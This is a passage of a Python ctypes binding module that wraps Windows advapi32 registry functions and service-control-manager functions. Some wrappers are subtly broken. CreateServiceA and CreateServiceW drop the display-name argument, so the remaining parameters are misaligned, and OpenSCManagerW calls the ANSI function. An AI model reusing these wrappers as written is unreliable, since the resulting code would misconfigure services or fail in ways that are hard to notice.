2472 _RegEnumKeyA.argtypes = [HKEY, DWORD, LPSTR, DWORD]
2473 _RegEnumKeyA.restype = LONG
2474
2475 cchName = 1024
2476 while True:
2477 lpName = ctypes.create_string_buffer(cchName)
2478 errcode = _RegEnumKeyA(hKey, dwIndex, lpName, cchName)
2479 if errcode != ERROR_MORE_DATA:
2480 break
2481 cchName = cchName + 1024
2482 if cchName > 65536:
2483 raise ctypes.WinError(errcode)
2484 if errcode == ERROR_NO_MORE_ITEMS:
2485 return None
2486 if errcode != ERROR_SUCCESS:
2487 raise ctypes.WinError(errcode)
2488 return lpName.value
2489
2490 def RegEnumKeyW(hKey, dwIndex):
2491 _RegEnumKeyW = windll.advapi32.RegEnumKeyW
2492 _RegEnumKeyW.argtypes = [HKEY, DWORD, LPWSTR, DWORD]
2493 _RegEnumKeyW.restype = LONG
2494
2495 cchName = 512
2496 while True:
2497 lpName = ctypes.create_unicode_buffer(cchName)
2498 errcode = _RegEnumKeyW(hKey, dwIndex, lpName, cchName * 2)
2499 if errcode != ERROR_MORE_DATA:
2500 break
2501 cchName = cchName + 512
2502 if cchName > 32768:
2503 raise ctypes.WinError(errcode)
2504 if errcode == ERROR_NO_MORE_ITEMS:
2505 return None
2506 if errcode != ERROR_SUCCESS:
2507 raise ctypes.WinError(errcode)
2508 return lpName.value
2509
2510 RegEnumKey = DefaultStringType(RegEnumKeyA, RegEnumKeyW)
2511
2512 # LONG WINAPI RegEnumKeyEx(
2513 # __in HKEY hKey,
2514 # __in DWORD dwIndex,
2515 # __out LPTSTR lpName,
2516 # __inout LPDWORD lpcName,
2517 # __reserved LPDWORD lpReserved,
2518 # __inout LPTSTR lpClass,
2519 # __inout_opt LPDWORD lpcClass,
2520 # __out_opt PFILETIME lpftLastWriteTime
2521 # );
2522
2523 # XXX TODO
2524
2525 # LONG WINAPI RegEnumValue(
2526 # __in HKEY hKey,
2527 # __in DWORD dwIndex,
2528 # __out LPTSTR lpValueName,
2529 # __inout LPDWORD lpcchValueName,
2530 # __reserved LPDWORD lpReserved,
2531 # __out_opt LPDWORD lpType,
2532 # __out_opt LPBYTE lpData,
2533 # __inout_opt LPDWORD lpcbData
2534 # );
2535 def _internal_RegEnumValue(ansi, hKey, dwIndex, bGetData = True):
2536 if ansi:
2537 _RegEnumValue = windll.advapi32.RegEnumValueA
2538 _RegEnumValue.argtypes = [HKEY, DWORD, LPSTR, LPDWORD, LPVOID, LPDWORD, LPVOID, LPDWORD]
2539 else:
2540 _RegEnumValue = windll.advapi32.RegEnumValueW
2541 _RegEnumValue.argtypes = [HKEY, DWORD, LPWSTR, LPDWORD, LPVOID, LPDWORD, LPVOID, LPDWORD]
2542 _RegEnumValue.restype = LONG
2543
2544 cchValueName = DWORD(1024)
2545 dwType = DWORD(-1)
2546 lpcchValueName = byref(cchValueName)
2547 lpType = byref(dwType)
2548 if ansi:
2549 lpValueName = ctypes.create_string_buffer(cchValueName.value)
2550 else:
2551 lpValueName = ctypes.create_unicode_buffer(cchValueName.value)
2552 if bGetData:
2553 cbData = DWORD(0)
2554 lpcbData = byref(cbData)
2555 else:
2556 lpcbData = None
2557 lpData = None
2558 errcode = _RegEnumValue(hKey, dwIndex, lpValueName, lpcchValueName, None, lpType, lpData, lpcbData)
2559
2560 if errcode == ERROR_MORE_DATA or (bGetData and errcode == ERROR_SUCCESS):
2561 if ansi:
2562 cchValueName.value = cchValueName.value + sizeof(CHAR)
2563 lpValueName = ctypes.create_string_buffer(cchValueName.value)
2564 else:
2565 cchValueName.value = cchValueName.value + sizeof(WCHAR)
2566 lpValueName = ctypes.create_unicode_buffer(cchValueName.value)
2567
2568 if bGetData:
2569 Type = dwType.value
2570
2571 if Type in (REG_DWORD, REG_DWORD_BIG_ENDIAN): # REG_DWORD_LITTLE_ENDIAN
2572 if cbData.value != sizeof(DWORD):
2573 raise ValueError("REG_DWORD value of size %d" % cbData.value)
2574 Data = DWORD(0)
2575
2576 elif Type == REG_QWORD: # REG_QWORD_LITTLE_ENDIAN
2577 if cbData.value != sizeof(QWORD):
2578 raise ValueError("REG_QWORD value of size %d" % cbData.value)
2579 Data = QWORD(0)
2580
2581 elif Type in (REG_SZ, REG_EXPAND_SZ, REG_MULTI_SZ):
2582 if ansi:
2583 Data = ctypes.create_string_buffer(cbData.value)
2584 else:
2585 Data = ctypes.create_unicode_buffer(cbData.value)
2586
2587 elif Type == REG_LINK:
2588 Data = ctypes.create_unicode_buffer(cbData.value)
2589
2590 else: # REG_BINARY, REG_NONE, and any future types
2591 Data = ctypes.create_string_buffer(cbData.value)
2592
2593 lpData = byref(Data)
2594
2595 errcode = _RegEnumValue(hKey, dwIndex, lpValueName, lpcchValueName, None, lpType, lpData, lpcbData)
2596
2597 if errcode == ERROR_NO_MORE_ITEMS:
2598 return None
2599 #if errcode != ERROR_SUCCESS:
2600 # raise ctypes.WinError(errcode)
2601
2602 if not bGetData:
2603 return lpValueName.value, dwType.value
2604
2605 if Type in (REG_DWORD, REG_DWORD_BIG_ENDIAN, REG_QWORD, REG_SZ, REG_EXPAND_SZ, REG_LINK): # REG_DWORD_LITTLE_ENDIAN, REG_QWORD_LITTLE_ENDIAN
2606 return lpValueName.value, dwType.value, Data.value
2607
2608 if Type == REG_MULTI_SZ:
2609 sData = Data[:]
2610 del Data
2611 if ansi:
2612 aData = sData.split('\0')
2613 else:
2614 aData = sData.split(u'\0')
2615 aData = [token for token in aData if token]
2616 return lpValueName.value, dwType.value, aData
2617
2618 # REG_BINARY, REG_NONE, and any future types
2619 return lpValueName.value, dwType.value, Data.raw
2620
2621 def RegEnumValueA(hKey, dwIndex, bGetData = True):
2622 return _internal_RegEnumValue(True, hKey, dwIndex, bGetData)
2623
2624 def RegEnumValueW(hKey, dwIndex, bGetData = True):
2625 return _internal_RegEnumValue(False, hKey, dwIndex, bGetData)
2626
2627 RegEnumValue = DefaultStringType(RegEnumValueA, RegEnumValueW)
2628
2629 # XXX TODO
2630
2631 # LONG WINAPI RegSetKeyValue(
2632 # __in HKEY hKey,
2633 # __in_opt LPCTSTR lpSubKey,
2634 # __in_opt LPCTSTR lpValueName,
2635 # __in DWORD dwType,
2636 # __in_opt LPCVOID lpData,
2637 # __in DWORD cbData
2638 # );
2639
2640 # XXX TODO
2641
2642 # LONG WINAPI RegQueryMultipleValues(
2643 # __in HKEY hKey,
2644 # __out PVALENT val_list,
2645 # __in DWORD num_vals,
2646 # __out_opt LPTSTR lpValueBuf,
2647 # __inout_opt LPDWORD ldwTotsize
2648 # );
2649
2650 # XXX TODO
2651
2652 # LONG WINAPI RegDeleteValue(
2653 # __in HKEY hKey,
2654 # __in_opt LPCTSTR lpValueName
2655 # );
2656 def RegDeleteValueA(hKeySrc, lpValueName = None):
2657 _RegDeleteValueA = windll.advapi32.RegDeleteValueA
2658 _RegDeleteValueA.argtypes = [HKEY, LPSTR]
2659 _RegDeleteValueA.restype = LONG
2660 _RegDeleteValueA.errcheck = RaiseIfNotErrorSuccess
2661 _RegDeleteValueA(hKeySrc, lpValueName)
2662 def RegDeleteValueW(hKeySrc, lpValueName = None):
2663 _RegDeleteValueW = windll.advapi32.RegDeleteValueW
2664 _RegDeleteValueW.argtypes = [HKEY, LPWSTR]
2665 _RegDeleteValueW.restype = LONG
2666 _RegDeleteValueW.errcheck = RaiseIfNotErrorSuccess
2667 _RegDeleteValueW(hKeySrc, lpValueName)
2668 RegDeleteValue = GuessStringType(RegDeleteValueA, RegDeleteValueW)
2669
2670 # LONG WINAPI RegDeleteKeyValue(
2671 # __in HKEY hKey,
2672 # __in_opt LPCTSTR lpSubKey,
2673 # __in_opt LPCTSTR lpValueName
2674 # );
2675 def RegDeleteKeyValueA(hKeySrc, lpSubKey = None, lpValueName = None):
2676 _RegDeleteKeyValueA = windll.advapi32.RegDeleteKeyValueA
2677 _RegDeleteKeyValueA.argtypes = [HKEY, LPSTR, LPSTR]
2678 _RegDeleteKeyValueA.restype = LONG
2679 _RegDeleteKeyValueA.errcheck = RaiseIfNotErrorSuccess
2680 _RegDeleteKeyValueA(hKeySrc, lpSubKey, lpValueName)
2681 def RegDeleteKeyValueW(hKeySrc, lpSubKey = None, lpValueName = None):
2682 _RegDeleteKeyValueW = windll.advapi32.RegDeleteKeyValueW
2683 _RegDeleteKeyValueW.argtypes = [HKEY, LPWSTR, LPWSTR]
2684 _RegDeleteKeyValueW.restype = LONG
2685 _RegDeleteKeyValueW.errcheck = RaiseIfNotErrorSuccess
2686 _RegDeleteKeyValueW(hKeySrc, lpSubKey, lpValueName)
2687 RegDeleteKeyValue = GuessStringType(RegDeleteKeyValueA, RegDeleteKeyValueW)
2688
2689 # LONG WINAPI RegDeleteKey(
2690 # __in HKEY hKey,
2691 # __in LPCTSTR lpSubKey
2692 # );
2693 def RegDeleteKeyA(hKeySrc, lpSubKey = None):
2694 _RegDeleteKeyA = windll.advapi32.RegDeleteKeyA
2695 _RegDeleteKeyA.argtypes = [HKEY, LPSTR]
2696 _RegDeleteKeyA.restype = LONG
2697 _RegDeleteKeyA.errcheck = RaiseIfNotErrorSuccess
2698 _RegDeleteKeyA(hKeySrc, lpSubKey)
2699 def RegDeleteKeyW(hKeySrc, lpSubKey = None):
2700 _RegDeleteKeyW = windll.advapi32.RegDeleteKeyW
2701 _RegDeleteKeyW.argtypes = [HKEY, LPWSTR]
2702 _RegDeleteKeyW.restype = LONG
2703 _RegDeleteKeyW.errcheck = RaiseIfNotErrorSuccess
2704 _RegDeleteKeyW(hKeySrc, lpSubKey)
2705 RegDeleteKey = GuessStringType(RegDeleteKeyA, RegDeleteKeyW)
2706
2707 # LONG WINAPI RegDeleteKeyEx(
2708 # __in HKEY hKey,
2709 # __in LPCTSTR lpSubKey,
2710 # __in REGSAM samDesired,
2711 # __reserved DWORD Reserved
2712 # );
2713
2714 def RegDeleteKeyExA(hKeySrc, lpSubKey = None, samDesired = KEY_WOW64_32KEY):
2715 _RegDeleteKeyExA = windll.advapi32.RegDeleteKeyExA
2716 _RegDeleteKeyExA.argtypes = [HKEY, LPSTR, REGSAM, DWORD]
2717 _RegDeleteKeyExA.restype = LONG
2718 _RegDeleteKeyExA.errcheck = RaiseIfNotErrorSuccess
2719 _RegDeleteKeyExA(hKeySrc, lpSubKey, samDesired, 0)
2720 def RegDeleteKeyExW(hKeySrc, lpSubKey = None, samDesired = KEY_WOW64_32KEY):
2721 _RegDeleteKeyExW = windll.advapi32.RegDeleteKeyExW
2722 _RegDeleteKeyExW.argtypes = [HKEY, LPWSTR, REGSAM, DWORD]
2723 _RegDeleteKeyExW.restype = LONG
2724 _RegDeleteKeyExW.errcheck = RaiseIfNotErrorSuccess
2725 _RegDeleteKeyExW(hKeySrc, lpSubKey, samDesired, 0)
2726 RegDeleteKeyEx = GuessStringType(RegDeleteKeyExA, RegDeleteKeyExW)
2727
2728 # LONG WINAPI RegCopyTree(
2729 # __in HKEY hKeySrc,
2730 # __in_opt LPCTSTR lpSubKey,
2731 # __in HKEY hKeyDest
2732 # );
2733 def RegCopyTreeA(hKeySrc, lpSubKey, hKeyDest):
2734 _RegCopyTreeA = windll.advapi32.RegCopyTreeA
2735 _RegCopyTreeA.argtypes = [HKEY, LPSTR, HKEY]
2736 _RegCopyTreeA.restype = LONG
2737 _RegCopyTreeA.errcheck = RaiseIfNotErrorSuccess
2738 _RegCopyTreeA(hKeySrc, lpSubKey, hKeyDest)
2739 def RegCopyTreeW(hKeySrc, lpSubKey, hKeyDest):
2740 _RegCopyTreeW = windll.advapi32.RegCopyTreeW
2741 _RegCopyTreeW.argtypes = [HKEY, LPWSTR, HKEY]
2742 _RegCopyTreeW.restype = LONG
2743 _RegCopyTreeW.errcheck = RaiseIfNotErrorSuccess
2744 _RegCopyTreeW(hKeySrc, lpSubKey, hKeyDest)
2745 RegCopyTree = GuessStringType(RegCopyTreeA, RegCopyTreeW)
2746
2747 # LONG WINAPI RegDeleteTree(
2748 # __in HKEY hKey,
2749 # __in_opt LPCTSTR lpSubKey
2750 # );
2751 def RegDeleteTreeA(hKey, lpSubKey = None):
2752 _RegDeleteTreeA = windll.advapi32.RegDeleteTreeA
2753 _RegDeleteTreeA.argtypes = [HKEY, LPWSTR]
2754 _RegDeleteTreeA.restype = LONG
2755 _RegDeleteTreeA.errcheck = RaiseIfNotErrorSuccess
2756 _RegDeleteTreeA(hKey, lpSubKey)
2757 def RegDeleteTreeW(hKey, lpSubKey = None):
2758 _RegDeleteTreeW = windll.advapi32.RegDeleteTreeW
2759 _RegDeleteTreeW.argtypes = [HKEY, LPWSTR]
2760 _RegDeleteTreeW.restype = LONG
2761 _RegDeleteTreeW.errcheck = RaiseIfNotErrorSuccess
2762 _RegDeleteTreeW(hKey, lpSubKey)
2763 RegDeleteTree = GuessStringType(RegDeleteTreeA, RegDeleteTreeW)
2764
2765 # LONG WINAPI RegFlushKey(
2766 # __in HKEY hKey
2767 # );
2768 def RegFlushKey(hKey):
2769 _RegFlushKey = windll.advapi32.RegFlushKey
2770 _RegFlushKey.argtypes = [HKEY]
2771 _RegFlushKey.restype = LONG
2772 _RegFlushKey.errcheck = RaiseIfNotErrorSuccess
2773 _RegFlushKey(hKey)
2774
2775 # LONG WINAPI RegLoadMUIString(
2776 # _In_ HKEY hKey,
2777 # _In_opt_ LPCTSTR pszValue,
2778 # _Out_opt_ LPTSTR pszOutBuf,
2779 # _In_ DWORD cbOutBuf,
2780 # _Out_opt_ LPDWORD pcbData,
2781 # _In_ DWORD Flags,
2782 # _In_opt_ LPCTSTR pszDirectory
2783 # );
2784
2785 # TO DO
2786
2787 #------------------------------------------------------------------------------
2788
2789 # BOOL WINAPI CloseServiceHANDLE(
2790 # _In_ SC_HANDLE hSCObject
2791 # );
2792 def CloseServiceHANDLE(hSCObject):
2793 _CloseServiceHANDLE = windll.advapi32.CloseServiceHANDLE
2794 _CloseServiceHANDLE.argtypes = [SC_HANDLE]
2795 _CloseServiceHANDLE.restype = bool
2796 _CloseServiceHANDLE.errcheck = RaiseIfZero
2797
2798 if isinstance(hSCObject, HANDLE):
2799 # Prevents the handle from being closed without notifying the HANDLE object.
2800 hSCObject.close()
2801 else:
2802 _CloseServiceHANDLE(hSCObject)
2803
2804 # SC_HANDLE WINAPI OpenSCManager(
2805 # _In_opt_ LPCTSTR lpMachineName,
2806 # _In_opt_ LPCTSTR lpDatabaseName,
2807 # _In_ DWORD dwDesiredAccess
2808 # );
2809 def OpenSCManagerA(lpMachineName = None, lpDatabaseName = None, dwDesiredAccess = SC_MANAGER_ALL_ACCESS):
2810 _OpenSCManagerA = windll.advapi32.OpenSCManagerA
2811 _OpenSCManagerA.argtypes = [LPSTR, LPSTR, DWORD]
2812 _OpenSCManagerA.restype = SC_HANDLE
2813 _OpenSCManagerA.errcheck = RaiseIfZero
2814
2815 hSCObject = _OpenSCManagerA(lpMachineName, lpDatabaseName, dwDesiredAccess)
2816 return ServiceControlManagerHANDLE(hSCObject)
2817
2818 def OpenSCManagerW(lpMachineName = None, lpDatabaseName = None, dwDesiredAccess = SC_MANAGER_ALL_ACCESS):
2819 _OpenSCManagerW = windll.advapi32.OpenSCManagerW
2820 _OpenSCManagerW.argtypes = [LPWSTR, LPWSTR, DWORD]
2821 _OpenSCManagerW.restype = SC_HANDLE
2822 _OpenSCManagerW.errcheck = RaiseIfZero
2823
2824 hSCObject = _OpenSCManagerA(lpMachineName, lpDatabaseName, dwDesiredAccess)
2825 return ServiceControlManagerHANDLE(hSCObject)
2826
2827 OpenSCManager = GuessStringType(OpenSCManagerA, OpenSCManagerW)
2828
2829 # SC_HANDLE WINAPI OpenService(
2830 # _In_ SC_HANDLE hSCManager,
2831 # _In_ LPCTSTR lpServiceName,
2832 # _In_ DWORD dwDesiredAccess
2833 # );
2834 def OpenServiceA(hSCManager, lpServiceName, dwDesiredAccess = SERVICE_ALL_ACCESS):
2835 _OpenServiceA = windll.advapi32.OpenServiceA
2836 _OpenServiceA.argtypes = [SC_HANDLE, LPSTR, DWORD]
2837 _OpenServiceA.restype = SC_HANDLE
2838 _OpenServiceA.errcheck = RaiseIfZero
2839 return ServiceHANDLE( _OpenServiceA(hSCManager, lpServiceName, dwDesiredAccess) )
2840
2841 def OpenServiceW(hSCManager, lpServiceName, dwDesiredAccess = SERVICE_ALL_ACCESS):
2842 _OpenServiceW = windll.advapi32.OpenServiceW
2843 _OpenServiceW.argtypes = [SC_HANDLE, LPWSTR, DWORD]
2844 _OpenServiceW.restype = SC_HANDLE
2845 _OpenServiceW.errcheck = RaiseIfZero
2846 return ServiceHANDLE( _OpenServiceW(hSCManager, lpServiceName, dwDesiredAccess) )
2847
2848 OpenService = GuessStringType(OpenServiceA, OpenServiceW)
2849
2850 # SC_HANDLE WINAPI CreateService(
2851 # _In_ SC_HANDLE hSCManager,
2852 # _In_ LPCTSTR lpServiceName,
2853 # _In_opt_ LPCTSTR lpDisplayName,
2854 # _In_ DWORD dwDesiredAccess,
2855 # _In_ DWORD dwServiceType,
2856 # _In_ DWORD dwStartType,
2857 # _In_ DWORD dwErrorControl,
2858 # _In_opt_ LPCTSTR lpBinaryPathName,
2859 # _In_opt_ LPCTSTR lpLoadOrderGroup,
2860 # _Out_opt_ LPDWORD lpdwTagId,
2861 # _In_opt_ LPCTSTR lpDependencies,
2862 # _In_opt_ LPCTSTR lpServiceStartName,
2863 # _In_opt_ LPCTSTR lpPassword
2864 # );
2865 def CreateServiceA(hSCManager, lpServiceName,
2866 lpDisplayName = None,
2867 dwDesiredAccess = SERVICE_ALL_ACCESS,
2868 dwServiceType = SERVICE_WIN32_OWN_PROCESS,
2869 dwStartType = SERVICE_DEMAND_START,
2870 dwErrorControl = SERVICE_ERROR_NORMAL,
2871 lpBinaryPathName = None,
2872 lpLoadOrderGroup = None,
2873 lpDependencies = None,
2874 lpServiceStartName = None,
2875 lpPassword = None):
2876
2877 _CreateServiceA = windll.advapi32.CreateServiceA
2878 _CreateServiceA.argtypes = [SC_HANDLE, LPSTR, LPSTR, DWORD, DWORD, DWORD, DWORD, LPSTR, LPSTR, LPDWORD, LPSTR, LPSTR, LPSTR]
2879 _CreateServiceA.restype = SC_HANDLE
2880 _CreateServiceA.errcheck = RaiseIfZero
2881
2882 dwTagId = DWORD(0)
2883 hService = _CreateServiceA(hSCManager, lpServiceName, dwDesiredAccess, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, byref(dwTagId), lpDependencies, lpServiceStartName, lpPassword)
2884 return ServiceHANDLE(hService), dwTagId.value
2885
2886 def CreateServiceW(hSCManager, lpServiceName,
2887 lpDisplayName = None,
2888 dwDesiredAccess = SERVICE_ALL_ACCESS,
2889 dwServiceType = SERVICE_WIN32_OWN_PROCESS,
2890 dwStartType = SERVICE_DEMAND_START,
2891 dwErrorControl = SERVICE_ERROR_NORMAL,
2892 lpBinaryPathName = None,
2893 lpLoadOrderGroup = None,
2894 lpDependencies = None,
2895 lpServiceStartName = None,
2896 lpPassword = None):
2897
2898 _CreateServiceW = windll.advapi32.CreateServiceW
2899 _CreateServiceW.argtypes = [SC_HANDLE, LPWSTR, LPWSTR, DWORD, DWORD, DWORD, DWORD, LPWSTR, LPWSTR, LPDWORD, LPWSTR, LPWSTR, LPWSTR]
2900 _CreateServiceW.restype = SC_HANDLE
2901 _CreateServiceW.errcheck = RaiseIfZero
2902
2903 dwTagId = DWORD(0)
2904 hService = _CreateServiceW(hSCManager, lpServiceName, dwDesiredAccess, dwServiceType, dwStartType, dwErrorControl, lpBinaryPathName, lpLoadOrderGroup, byref(dwTagId), lpDependencies, lpServiceStartName, lpPassword)
2905 return ServiceHANDLE(hService), dwTagId.value
2906
2907 CreateService = GuessStringType(CreateServiceA, CreateServiceW)
2908
2909 # BOOL WINAPI DeleteService(
2910 # _In_ SC_HANDLE hService
2911 # );
2912 def DeleteService(hService):
2913 _DeleteService = windll.advapi32.DeleteService
2914 _DeleteService.argtypes = [SC_HANDLE]
2915 _DeleteService.restype = bool
2916 _DeleteService.errcheck = RaiseIfZero
2917 _DeleteService(hService)
2918
2919 # BOOL WINAPI GetServiceKeyName(
2920 # _In_ SC_HANDLE hSCManager,
2921 # _In_ LPCTSTR lpDisplayName,
2922 # _Out_opt_ LPTSTR lpServiceName,
2923 # _Inout_ LPDWORD lpcchBuffer
2924 # );
2925 def GetServiceKeyNameA(hSCManager, lpDisplayName):
2926 _GetServiceKeyNameA = windll.advapi32.GetServiceKeyNameA
2927 _GetServiceKeyNameA.argtypes = [SC_HANDLE, LPSTR, LPSTR, LPDWORD]
2928 _GetServiceKeyNameA.restype = bool
2929
2930 cchBuffer = DWORD(0)
2931 _GetServiceKeyNameA(hSCManager, lpDisplayName, None, byref(cchBuffer))
2932 if cchBuffer.value == 0:
2933 raise ctypes.WinError()
2934 lpServiceName = ctypes.create_string_buffer(cchBuffer.value + 1)
2935 cchBuffer.value = sizeof(lpServiceName)
2936 success = _GetServiceKeyNameA(hSCManager, lpDisplayName, lpServiceName, byref(cchBuffer))
2937 if not success:
2938 raise ctypes.WinError()
2939 return lpServiceName.value
2940
2941 def GetServiceKeyNameW(hSCManager, lpDisplayName):
2942 _GetServiceKeyNameW = windll.advapi32.GetServiceKeyNameW
2943 _GetServiceKeyNameW.argtypes = [SC_HANDLE, LPWSTR, LPWSTR, LPDWORD]
2944 _GetServiceKeyNameW.restype = bool
2945
2946 cchBuffer = DWORD(0)
2947 _GetServiceKeyNameW(hSCManager, lpDisplayName, None, byref(cchBuffer))
2948 if cchBuffer.value == 0:
2949 raise ctypes.WinError()
2950 lpServiceName = ctypes.create_unicode_buffer(cchBuffer.value + 2)
2951 cchBuffer.value = sizeof(lpServiceName)
2952 success = _GetServiceKeyNameW(hSCManager, lpDisplayName, lpServiceName, byref(cchBuffer))
2953 if not success:
2954 raise ctypes.WinError()
2955 return lpServiceName.value
2956
2957 GetServiceKeyName = GuessStringType(GetServiceKeyNameA, GetServiceKeyNameW)
2958
2959 # BOOL WINAPI GetServiceDisplayName(
2960 # _In_ SC_HANDLE hSCManager,
2961 # _In_ LPCTSTR lpServiceName,
2962 # _Out_opt_ LPTSTR lpDisplayName,
2963 # _Inout_ LPDWORD lpcchBuffer
2964 # );
2965 def GetServiceDisplayNameA(hSCManager, lpServiceName):
2966 _GetServiceDisplayNameA = windll.advapi32.GetServiceDisplayNameA
2967 _GetServiceDisplayNameA.argtypes = [SC_HANDLE, LPSTR, LPSTR, LPDWORD]
2968 _GetServiceDisplayNameA.restype = bool
2969
2970 cchBuffer = DWORD(0)
2971 _GetServiceDisplayNameA(hSCManager, lpServiceName, None, byref(cchBuffer))
2972 if cchBuffer.value == 0:
2973 raise ctypes.WinError()
2974 lpDisplayName = ctypes.create_string_buffer(cchBuffer.value + 1)
2975 cchBuffer.value = sizeof(lpDisplayName)
2976 success = _GetServiceDisplayNameA(hSCManager, lpServiceName, lpDisplayName, byref(cchBuffer))
2977 if not success:
2978 raise ctypes.WinError()
2979 return lpDisplayName.value
2980
2981 def GetServiceDisplayNameW(hSCManager, lpServiceName):
2982 _GetServiceDisplayNameW = windll.advapi32.GetServiceDisplayNameW
2983 _GetServiceDisplayNameW.argtypes = [SC_HANDLE, LPWSTR, LPWSTR, LPDWORD]
2984 _GetServiceDisplayNameW.restype = bool
2985
2986 cchBuffer = DWORD(0)
2987 _GetServiceDisplayNameW(hSCManager, lpServiceName, None, byref(cchBuffer))
2988 if cchBuffer.value == 0:
2989 raise ctypes.WinError()
2990 lpDisplayName = ctypes.create_unicode_buffer(cchBuffer.value + 2)
2991 cchBuffer.value = sizeof(lpDisplayName)
2992 success = _GetServiceDisplayNameW(hSCManager, lpServiceName, lpDisplayName, byref(cchBuffer))
2993 if not success:
2994 raise ctypes.WinError()
2995 return lpDisplayName.value
2996
2997 GetServiceDisplayName = GuessStringType(GetServiceDisplayNameA, GetServiceDisplayNameW)
2998
2999 # BOOL WINAPI QueryServiceConfig(
3000 # _In_ SC_HANDLE hService,
3001 # _Out_opt_ LPQUERY_SERVICE_CONFIG lpServiceConfig,
3002 # _In_ DWORD cbBufSize,
3003 # _Out_ LPDWORD pcbBytesNeeded
3004 # );
3005
3006 # TO DO
3007
3008 # BOOL WINAPI QueryServiceConfig2(
3009 # _In_ SC_HANDLE hService,
3010 # _In_ DWORD dwInfoLevel,
3011 # _Out_opt_ LPBYTE lpBuffer,
3012 # _In_ DWORD cbBufSize,
3013 # _Out_ LPDWORD pcbBytesNeeded
3014 # );
3015
3016 # TO DO
3017
3018 # BOOL WINAPI ChangeServiceConfig(
3019 # _In_ SC_HANDLE hService,
3020 # _In_ DWORD dwServiceType,
3021 # _In_ DWORD dwStartType,
3022 # _In_ DWORD dwErrorControl,
3023 # _In_opt_ LPCTSTR lpBinaryPathName,
3024 # _In_opt_ LPCTSTR lpLoadOrderGroup,
3025 # _Out_opt_ LPDWORD lpdwTagId,
3026 # _In_opt_ LPCTSTR lpDependencies,
3027 # _In_opt_ LPCTSTR lpServiceStartName,
3028 # _In_opt_ LPCTSTR lpPassword,
3029 # _In_opt_ LPCTSTR lpDisplayName
3030 # );
3031
3032 # TO DO
3033
3034 # BOOL WINAPI ChangeServiceConfig2(
3035 # _In_ SC_HANDLE hService,
3036 # _In_ DWORD dwInfoLevel,
3037 # _In_opt_ LPVOID lpInfo
3038 # );
3039
3040 # TO DO
3041
3042 # BOOL WINAPI StartService(
3043 # _In_ SC_HANDLE hService,
3044 # _In_ DWORD dwNumServiceArgs,
3045 # _In_opt_ LPCTSTR *lpServiceArgVectors
3046 # );
3047 def StartServiceA(hService, ServiceArgVectors = None):
3048 _StartServiceA = windll.advapi32.StartServiceA
3049 _StartServiceA.argtypes = [SC_HANDLE, DWORD, LPVOID]
3050 _StartServiceA.restype = bool
3051 _StartServiceA.errcheck = RaiseIfZero
3052
3053 if ServiceArgVectors:
3054 dwNumServiceArgs = len(ServiceArgVectors)
3055 CServiceArgVectors = (LPSTR * dwNumServiceArgs)(*ServiceArgVectors)
3056 lpServiceArgVectors = ctypes.pointer(CServiceArgVectors)
3057 else:
3058 dwNumServiceArgs = 0
3059 lpServiceArgVectors = None
3060 _StartServiceA(hService, dwNumServiceArgs, lpServiceArgVectors)
3061
3062 def StartServiceW(hService, ServiceArgVectors = None):
3063 _StartServiceW = windll.advapi32.StartServiceW
3064 _StartServiceW.argtypes = [SC_HANDLE, DWORD, LPVOID]
3065 _StartServiceW.restype = bool
3066 _StartServiceW.errcheck = RaiseIfZero
3067
3068 if ServiceArgVectors:
3069 dwNumServiceArgs = len(ServiceArgVectors)
3070 CServiceArgVectors = (LPWSTR * dwNumServiceArgs)(*ServiceArgVectors)
3071 lpServiceArgVectors = ctypes.pointer(CServiceArgVectors)
3072 else:
3073 dwNumServiceArgs = 0
3074 lpServiceArgVectors = None
3075 _StartServiceW(hService, dwNumServiceArgs, lpServiceArgVectors)
3076
3077 StartService = GuessStringType(StartServiceA, StartServiceW)
3078
3079 # BOOL WINAPI ControlService(
3080 # _In_ SC_HANDLE hService,
3081 # _In_ DWORD dwControl,
3082 # _Out_ LPSERVICE_STATUS lpServiceStatus
3083 # );
3084 def ControlService(hService, dwControl):
3085 _ControlService = windll.advapi32.ControlService
3086 _ControlService.argtypes = [SC_HANDLE, DWORD, LPSERVICE_STATUS]
3087 _ControlService.restype = bool
3088 _ControlService.errcheck = RaiseIfZero
3089
3090 rawServiceStatus = SERVICE_STATUS()
3091 _ControlService(hService, dwControl, byref(rawServiceStatus))
3092 return ServiceStatus(rawServiceStatus)
3093
3094 # BOOL WINAPI ControlServiceEx(
3095 # _In_ SC_HANDLE hService,
3096 # _In_ DWORD dwControl,
3097 # _In_ DWORD dwInfoLevel,
3098 # _Inout_ PVOID pControlParams
3099 # );
3100
3101 # TO DO
3102
3103 # DWORD WINAPI NotifyServiceStatusChange(
3104 # _In_ SC_HANDLE hService,
3105 # _In_ DWORD dwNotifyMask,
3106 # _In_ PSERVICE_NOTIFY pNotifyBuffer
3107 # );
3108
3109 # TO DO
3110
3111 # BOOL WINAPI QueryServiceStatus(
3112 # _In_ SC_HANDLE hService,
3113 # _Out_ LPSERVICE_STATUS lpServiceStatus
3114 # );
3115 def QueryServiceStatus(hService):
3116 _QueryServiceStatus = windll.advapi32.QueryServiceStatus
3117 _QueryServiceStatus.argtypes = [SC_HANDLE, LPSERVICE_STATUS]
3118 _QueryServiceStatus.restype = bool
3119 _QueryServiceStatus.errcheck = RaiseIfZero
3120
3121 rawServiceStatus = SERVICE_STATUS()
3122 _QueryServiceStatus(hService, byref(rawServiceStatus))
3123 return ServiceStatus(rawServiceStatus)
3124
3125 # BOOL WINAPI QueryServiceStatusEx(
3126 # _In_ SC_HANDLE hService,
3127 # _In_ SC_STATUS_TYPE InfoLevel,
3128 # _Out_opt_ LPBYTE lpBuffer,
3129 # _In_ DWORD cbBufSize,
3130 # _Out_ LPDWORD pcbBytesNeeded
3131 # );
3132 def QueryServiceStatusEx(hService, InfoLevel = SC_STATUS_PROCESS_INFO):
3133
3134 if InfoLevel != SC_STATUS_PROCESS_INFO:
3135 raise NotImplementedError()
3136
3137 _QueryServiceStatusEx = windll.advapi32.QueryServiceStatusEx
3138 _QueryServiceStatusEx.argtypes = [SC_HANDLE, SC_STATUS_TYPE, LPVOID, DWORD, LPDWORD]
3139 _QueryServiceStatusEx.restype = bool
3140 _QueryServiceStatusEx.errcheck = RaiseIfZero
3141
3142 lpBuffer = SERVICE_STATUS_PROCESS()
3143 cbBytesNeeded = DWORD(sizeof(lpBuffer))
3144 _QueryServiceStatusEx(hService, InfoLevel, byref(lpBuffer), sizeof(lpBuffer), byref(cbBytesNeeded))
3145 return ServiceStatusProcess(lpBuffer)
3146
3147 # BOOL WINAPI EnumServicesStatus(
